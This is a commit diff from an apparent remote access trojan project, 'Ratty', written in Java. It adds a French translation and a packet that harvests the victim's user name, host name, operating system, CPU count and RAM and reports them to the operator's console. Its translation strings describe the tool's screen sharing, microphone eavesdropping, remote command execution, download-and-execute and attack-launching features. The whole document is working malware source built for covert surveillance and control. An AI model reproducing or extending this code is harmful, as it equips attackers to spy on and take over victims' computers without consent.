Browse Source

Major changes

Added French translation
Added ComputerInfoPacket
master
Sogomn 9 years ago
parent
commit
06d1aaabf0
  1. BIN
      Ratty/res/gui_menu_icons.png
  2. 8
      Ratty/res/language/lang.properties
  3. 8
      Ratty/res/language/lang_de.properties
  4. 8
      Ratty/res/language/lang_en.properties
  5. 65
      Ratty/res/language/lang_fr.properties
  6. 10
      Ratty/src/de/sogomn/rat/gui/ChatWindow.java
  7. 2
      Ratty/src/de/sogomn/rat/gui/server/RattyGui.java
  8. 47
      Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
  9. 104
      Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java
  10. 4
      Ratty/src/de/sogomn/rat/packet/PacketType.java

BIN
Ratty/res/gui_menu_icons.png

Before

Width: 64  |  Height: 64  |  Size: 972 B

After

Width: 64  |  Height: 64  |  Size: 1011 B

8
Ratty/res/language/lang.properties

@ -24,6 +24,13 @@ menu.surveillance=Surveillance
menu.utility=Utility menu.utility=Utility
menu.other=Other menu.other=Other
information.user_name=User name
information.host_name=Host name
information.os_name=Operating system
information.os_architecture=Architecture
information.processors=Processors available
information.ram=RAM available
file_information.name=File name file_information.name=File name
file_information.path=Path file_information.path=Path
file_information.size=File size file_information.size=File size
@ -56,6 +63,7 @@ action.drop_file=Drop file
action.drop_execute=Drop and execute file action.drop_execute=Drop and execute file
action.chat=Open chat action.chat=Open chat
action.file_information=Get file information action.file_information=Get file information
action.information=Show client information
column.name=Name column.name=Name
column.location=Location column.location=Location

8
Ratty/res/language/lang_de.properties

@ -24,6 +24,13 @@ menu.surveillance=
menu.utility=Werkzeuge menu.utility=Werkzeuge
menu.other=Anderes menu.other=Anderes
information.user_name=Benutzername
information.host_name=Hostname
information.os_name=Betriebssystem
information.os_architecture=Architektur
information.processors=Prozessoren verfügbar
information.ram=RAM verfügbar
file_information.name=Dateiname file_information.name=Dateiname
file_information.path=Pfad file_information.path=Pfad
file_information.size=Dateigröße file_information.size=Dateigröße
@ -56,6 +63,7 @@ action.drop_file=Datei aus dem Internet laden
action.drop_execute=Datei aus dem Internet ausführen action.drop_execute=Datei aus dem Internet ausführen
action.chat=Chat öffnen action.chat=Chat öffnen
action.file_information=Dateiinformationen anzeigen action.file_information=Dateiinformationen anzeigen
action.information=Clientinformationen anzeigen
column.name=Name column.name=Name
column.location=Ort column.location=Ort

8
Ratty/res/language/lang_en.properties

@ -24,6 +24,13 @@ menu.surveillance=Surveillance
menu.utility=Utility menu.utility=Utility
menu.other=Other menu.other=Other
information.user_name=User name
information.host_name=Host name
information.os_name=Operating system
information.os_architecture=Architecture
information.processors=Processors available
information.ram=RAM available
file_information.name=File name file_information.name=File name
file_information.path=Path file_information.path=Path
file_information.size=File size file_information.size=File size
@ -56,6 +63,7 @@ action.drop_file=Drop file
action.drop_execute=Drop and execute file action.drop_execute=Drop and execute file
action.chat=Open chat action.chat=Open chat
action.file_information=Get file information action.file_information=Get file information
action.information=Show client information
column.name=Name column.name=Name
column.location=Location column.location=Location

65
Ratty/res/language/lang_fr.properties

@ -0,0 +1,65 @@
debug.question=Serveur ou client?
debug.server=Serveur
debug.client=Client
server.port_question=A quel port le serveur sera-t-il associe?
server.port_error=Port invalide.
server.free_warning=Le client ne sera pas disponible jusqu'à ce que l'ordinateur redemarre.\r\n\
Continuer?
server.yes=Oui
server.no=Non
server.cancel=Annuler
server.tcp=TCP
server.udp=UDP
server.attack_message=Quel protocole?
server.url_message=Entrez une URL.
server.amount_question=Combien de fois?
builder.address_question=A quelle adresse le client devra-t-il se connecter (exemple.no-ip.org)?
builder.port_question=A quel port?
builder.error=Quelque chose a echoue.
menu.file_management=Gestion des fichiers
menu.surveillance=Surveillance
menu.utility=Utilitaire
menu.other=Autre
file_information.name=Nom du ficher
file_information.path=Chemin d'acces
file_information.size=Poids du ficher
file_information.directory=Dossier
file_information.creation=Date de creation
file_information.last_access=Dernier acces
file_information.last_modification=Derniere modification
file_information.bytes=Octets
action.popup=Ouvrir une fenetre
action.screenshot=Prendre une capture d'ecran
action.desktop=Activer/Desactiver le partage d'ecran
action.voice=Activer/Desactiver l'ecoute du micro
action.files=Parcourir les fichiers
action.command=Executer une commande
action.clipboard=Afficher le presse-papiers (clipboard)
action.website=Ouvrir un site web
action.audio=Jouer un son
action.free=Liberer le client
action.build=Createur de client
action.attack=Lancer une attaque
action.request_files=Demander le contenu
action.download=Telecharger le fichier
action.upload=Deposer un fichier ici
action.execute=Executer le fichier
action.delete=Supprimer le fichier
action.new_directory=Creer un nouveau dossier
action.upload_execute=Envoyer et executer un fichier
action.drop_file=Deposer un fichier ici (depuis internet)
action.drop_execute=Deposer et executer un fichier (depuis internet)
action.chat=Ouvrir un chat
action.file_information=Obtenir les informations du fichier
column.name=Nom
column.location=Pays
column.address=Adresse IP
column.os=Systeme d'exploitation
column.version=Version
column.desktop=Partage d'ecran
column.voice=Ecoute du micro
column.ping=Latence

10
Ratty/src/de/sogomn/rat/gui/ChatWindow.java

@ -6,10 +6,10 @@ import java.awt.Dimension;
import java.awt.event.ActionEvent; import java.awt.event.ActionEvent;
import javax.swing.JFrame; import javax.swing.JFrame;
import javax.swing.JScrollBar;
import javax.swing.JScrollPane; import javax.swing.JScrollPane;
import javax.swing.JTextArea; import javax.swing.JTextArea;
import javax.swing.JTextField; import javax.swing.JTextField;
import javax.swing.text.DefaultCaret;
import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils; import de.sogomn.engine.util.ImageUtils;
@ -35,9 +35,6 @@ public final class ChatWindow extends AbstractListenerContainer<IGuiController>
scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);
final Container contentPane = frame.getContentPane(); final Container contentPane = frame.getContentPane();
final DefaultCaret caret = (DefaultCaret)chat.getCaret();
caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE);
submit.addActionListener(this::messageSubmitted); submit.addActionListener(this::messageSubmitted);
chat.setEditable(false); chat.setEditable(false);
@ -76,6 +73,11 @@ public final class ChatWindow extends AbstractListenerContainer<IGuiController>
public void addLine(final String line) { public void addLine(final String line) {
chat.append(line + "\r\n"); chat.append(line + "\r\n");
final JScrollBar scrollBar = scrollPane.getVerticalScrollBar();
final int bottom = scrollBar.getMaximum();
scrollBar.setValue(bottom);
} }
public void setVisible(final boolean visible) { public void setVisible(final boolean visible) {

2
Ratty/src/de/sogomn/rat/gui/server/RattyGui.java

@ -93,6 +93,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> im
public static final String ATTACK = LANGUAGE.getString("action.attack"); public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute");
public static final String CHAT = LANGUAGE.getString("action.chat"); public static final String CHAT = LANGUAGE.getString("action.chat");
public static final String INFORMATION = LANGUAGE.getString("action.information");
public static final String CLOSE = "Close"; public static final String CLOSE = "Close";
static { static {
@ -108,6 +109,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> im
UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]);
UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]);
UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]); UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]);
OTHER_ITEM_DATA.put(INFORMATION, MENU_ICONS[13]);
OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]); OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]);
} }

47
Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

@ -27,6 +27,7 @@ import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ChatPacket; import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.ComputerInfoPacket;
import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.DownloadFilePacket; import de.sogomn.rat.packet.DownloadFilePacket;
@ -81,7 +82,8 @@ public final class RattyGuiController extends AbstractRattyController implements
"language/lang_dk.properties", "language/lang_dk.properties",
"language/lang_it.properties", "language/lang_it.properties",
"language/lang_sv.properties", "language/lang_sv.properties",
"language/lang_pt.properties"
"language/lang_pt.properties",
"language/lang_fr.properties"
}; };
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
@ -104,6 +106,12 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String FILE_LAST_ACCESS = LANGUAGE.getString("file_information.last_access"); private static final String FILE_LAST_ACCESS = LANGUAGE.getString("file_information.last_access");
private static final String FILE_LAST_MODIFICATION = LANGUAGE.getString("file_information.last_modification"); private static final String FILE_LAST_MODIFICATION = LANGUAGE.getString("file_information.last_modification");
private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes"); private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes");
private static final String USER_NAME = LANGUAGE.getString("information.user_name");
private static final String HOST_NAME = LANGUAGE.getString("information.host_name");
private static final String OS_NAME = LANGUAGE.getString("information.os_name");
private static final String OS_ARCHITECTURE = LANGUAGE.getString("information.os_architecture");
private static final String PROCESSORS = LANGUAGE.getString("information.processors");
private static final String RAM = LANGUAGE.getString("information.ram");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
private static final long PING_INTERVAL = 3000; private static final long PING_INTERVAL = 3000;
@ -480,6 +488,8 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createChatPacket(client); packet = createChatPacket(client);
} else if (command == FileTree.INFORMATION) { } else if (command == FileTree.INFORMATION) {
packet = createFileInformationPacket(client); packet = createFileInformationPacket(client);
} else if (command == RattyGui.INFORMATION) {
packet = new ComputerInfoPacket();
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket(); packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
@ -584,6 +594,28 @@ public final class RattyGuiController extends AbstractRattyController implements
gui.showMessage(message); gui.showMessage(message);
} }
private void handleInfoPacket(final ComputerInfoPacket packet) {
final String name = packet.getName();
final String hostName = packet.getHostName();
final String os = packet.getOs();
final String osVersion = packet.getOsVersion();
final String osArchitecture = packet.getOsArchitecture();
final int processors = packet.getProcessors();
final long ram = packet.getRam();
final StringBuilder builder = new StringBuilder();
final String message = builder
.append(USER_NAME).append(": ").append(name).append("\r\n")
.append(HOST_NAME).append(": ").append(hostName).append("\r\n")
.append(OS_NAME).append(": ").append(os).append(" ").append(osVersion).append("\r\n")
.append(OS_ARCHITECTURE).append(": ").append(osArchitecture).append("\r\n")
.append(PROCESSORS).append(": ").append(processors).append("\r\n")
.append(RAM).append(": ").append(ram).append(" ").append(FILE_BYTES).append("\r\n")
.toString();
gui.showMessage(message);
}
private boolean handlePacket(final ServerClient client, final IPacket packet) { private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass(); final Class<? extends IPacket> clazz = packet.getClass();
@ -617,6 +649,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final ChatPacket chat = (ChatPacket)packet; final ChatPacket chat = (ChatPacket)packet;
handleChatPacket(client, chat); handleChatPacket(client, chat);
} else if (clazz == ComputerInfoPacket.class) {
final ComputerInfoPacket info = (ComputerInfoPacket)packet;
handleInfoPacket(info);
} else if (clazz == FileInformationPacket.class) { } else if (clazz == FileInformationPacket.class) {
final FileInformationPacket information = (FileInformationPacket)packet; final FileInformationPacket information = (FileInformationPacket)packet;
@ -670,6 +706,11 @@ public final class RattyGuiController extends AbstractRattyController implements
@Override @Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) { public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection); final ServerClient client = getClient(connection);
if (client == null) {
return;
}
final boolean loggedIn = client.isLoggedIn(); final boolean loggedIn = client.isLoggedIn();
if (loggedIn) { if (loggedIn) {
@ -700,6 +741,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final ServerClient client = getClient(connection); final ServerClient client = getClient(connection);
if (client == null) {
return;
}
gui.removeClient(client); gui.removeClient(client);
clients.remove(connection); clients.remove(connection);

104
Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java

@ -0,0 +1,104 @@
package de.sogomn.rat.packet;
import java.net.InetAddress;
import java.net.UnknownHostException;
import de.sogomn.rat.ActiveConnection;
public class ComputerInfoPacket extends AbstractPingPongPacket {
private String name, hostName, os, osVersion, osArchitecture;
private int processors;
private long ram;
public ComputerInfoPacket() {
//...
}
@Override
protected void sendRequest(final ActiveConnection connection) {
//...
}
@Override
protected void sendData(final ActiveConnection connection) {
connection.writeUTF(name);
connection.writeUTF(hostName);
connection.writeUTF(os);
connection.writeUTF(osVersion);
connection.writeUTF(osArchitecture);
connection.writeInt(processors);
connection.writeLong(ram);
}
@Override
protected void receiveRequest(final ActiveConnection connection) {
//...
}
@Override
protected void receiveData(final ActiveConnection connection) {
name = connection.readUTF();
hostName = connection.readUTF();
os = connection.readUTF();
osVersion = connection.readUTF();
osArchitecture = connection.readUTF();
processors = connection.readInt();
ram = connection.readLong();
}
@Override
protected void executeRequest(final ActiveConnection connection) {
type = DATA;
name = System.getProperty("user.name");
os = System.getProperty("os.name");
osVersion = System.getProperty("os.version");
osArchitecture = System.getProperty("os.arch");
processors = Runtime.getRuntime().availableProcessors();
ram = Runtime.getRuntime().totalMemory();
try {
hostName = InetAddress.getLocalHost().getHostName();
} catch (final UnknownHostException ex) {
hostName = "";
ex.printStackTrace();
}
connection.addPacket(this);
}
@Override
protected void executeData(final ActiveConnection connection) {
//...
}
public String getName() {
return name;
}
public String getHostName() {
return hostName;
}
public String getOs() {
return os;
}
public String getOsVersion() {
return osVersion;
}
public String getOsArchitecture() {
return osArchitecture;
}
public int getProcessors() {
return processors;
}
public long getRam() {
return ram;
}
}

4
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -26,7 +26,9 @@ public enum PacketType {
PING(19, PingPacket.class), PING(19, PingPacket.class),
DOWNLOAD_URL(20, DownloadUrlPacket.class), DOWNLOAD_URL(20, DownloadUrlPacket.class),
CHAT(21, ChatPacket.class), CHAT(21, ChatPacket.class),
FILE_INFORMATION(22, FileInformationPacket.class);
FILE_INFORMATION(22, FileInformationPacket.class),
ATTACK(23, AttackPacket.class),
COMPUTER_INFORMATION(24, ComputerInfoPacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

Loading…
Cancel
Save